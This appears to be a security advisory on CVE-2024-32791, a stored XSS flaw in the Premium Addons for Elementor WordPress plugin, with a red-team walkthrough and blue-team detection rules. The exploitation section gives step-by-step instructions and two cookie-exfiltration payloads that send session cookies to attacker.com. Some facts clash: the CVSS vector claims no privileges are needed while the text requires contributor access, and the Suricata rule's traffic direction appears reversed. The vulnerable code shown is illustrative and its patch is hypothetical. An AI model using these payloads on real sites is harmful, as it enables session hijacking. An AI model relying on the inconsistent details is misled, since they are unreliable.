CVE-2024-32791

Executive Summary

CVE-2024-32791 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons for Elementor WordPress plugin, developed by Leap13. This flaw affects all versions up to and including 4.10.25. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into widget settings. When an administrator or other user views a page containing the malicious widget, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve server-level software like Apache or Nginx. The plugin is widely used to extend Elementor page builder functionality, making this a high-impact vector for site compromise.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Users who installed the plugin from the WordPress dashboard or via direct ZIP upload are at risk. No package manager (npm, PyPI, Go, Ruby) is involved, but the plugin’s update mechanism is the primary supply chain vector. The vendor has not released a patch, so users must rely on manual mitigation or removal.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires user interaction)
• User Interaction: Required (victim must view the compromised page)
• Scope: Changed (impact crosses trust boundaries)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The threat level is Medium due to the need for user interaction and the limited direct impact. However, in a WordPress context, stored XSS can lead to privilege escalation if an admin is targeted, raising the practical risk.

Deep Dive & Mechanics

The vulnerability exists in the widget rendering logic of Premium Addons for Elementor. The plugin fails to sanitize or escape user-supplied input when processing widget attributes (e.g., titles, descriptions, or custom CSS classes). An attacker with contributor-level access can create or edit a post/page using Elementor and insert a malicious widget. By injecting a payload like:

<img src=x onerror=alert('XSS')>

into a widget field, the input is stored in the WordPress database without proper encoding. When the page is rendered, the browser interprets the payload as HTML/JavaScript, executing it in the context of the viewing user’s session.

The root cause is the use of echo or print functions without applying WordPress escaping functions like esc_html(), esc_attr(), or wp_kses_post() on dynamic widget data. The plugin’s code likely outputs raw user input directly into the DOM.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.10.25):

// In a widget render method
echo '<div class="premium-title">' . $settings['title'] . '</div>';

Patched Code (Hypothetical):

// Properly escaped output
echo '<div class="premium-title">' . esc_html( $settings['title'] ) . '</div>';

The vulnerable version directly concatenates user input into HTML without sanitization. The patched version uses esc_html() to neutralize HTML tags and JavaScript. Since no official patch exists, users must apply this fix manually or use a Web Application Firewall (WAF).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Premium Addons for Elementor <= 4.10.25
• Contributor-level account or higher
• Elementor page builder active

Step-by-Step Exploit:

1. Log in as a contributor.
2. Create a new page or edit an existing one with Elementor.
3. Add a Premium Addons widget (e.g., Premium Title, Premium Banner).
4. In the widget’s text field (e.g., “Title”), inject the payload:

   <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
   

5. Save and publish the page.
6. Send the page link to an administrator or target user.
7. When the victim views the page, the script executes, exfiltrating cookies.

Alternative Payload (Session Hijacking):

<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual widget content in Elementor pages.
• Check for JavaScript payloads in wp_postmeta table under _elementor_data meta key.
• Use WAF rules to block common XSS patterns in POST requests to /wp-admin/admin-ajax.php.

Hardening:

• Disable the plugin until a patch is available.
• Restrict contributor roles from using Elementor (use custom capabilities).
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use a WordPress security plugin (e.g., Wordfence) with XSS filtering.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified wp_postmeta entries with _elementor_data containing <script> or <img onerror= patterns.
  • Presence of obfuscated JavaScript in widget fields.

• Network Indicators:

  • Outbound HTTP requests to unknown domains from the WordPress server.
  • POST requests to /wp-admin/admin-ajax.php with suspicious action=elementor_ajax parameters.

• Log Indicators:

  • WordPress debug log entries showing PHP warnings about unescaped output.
  • Web server access logs with %3Cscript%3E or %3Cimg%20onerror%3D in request URIs.

Detection Engineering

YARA Rule

rule CVE_2024_32791_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Premium Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-32791"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /<img[^>]+onerror\s*=/is
        $payload3 = /<svg[^>]+onload\s*=/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-32791 - Stored XSS in Premium Addons for Elementor
id: 8a3f7c2e-5d1b-4f9a-8c6e-2b1a3d4f5e6c
status: experimental
description: Detects stored XSS payloads in WordPress Elementor widget data
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        meta_key: '_elementor_data'
        meta_value|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widgets (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-32791 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=elementor_ajax"; http_client_body; pcre:"/(<script|<img onerror|<svg onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Apply virtual patching via WAF (e.g., Cloudflare, ModSecurity) to block XSS patterns.
3. Audit existing content for malicious widget data using the Sigma rule above.

Long-Term Fix:

• Monitor the Leap13 vendor page for an official patch.
• If no patch is released, consider replacing the plugin with an alternative (e.g., Essential Addons for Elementor).
• Implement a WordPress hardening policy: restrict Elementor usage to trusted roles only.

Workaround:

• Manually edit the plugin files to add esc_html() or wp_kses_post() around dynamic output. This requires developer expertise and will be overwritten on plugin update.

Valters IT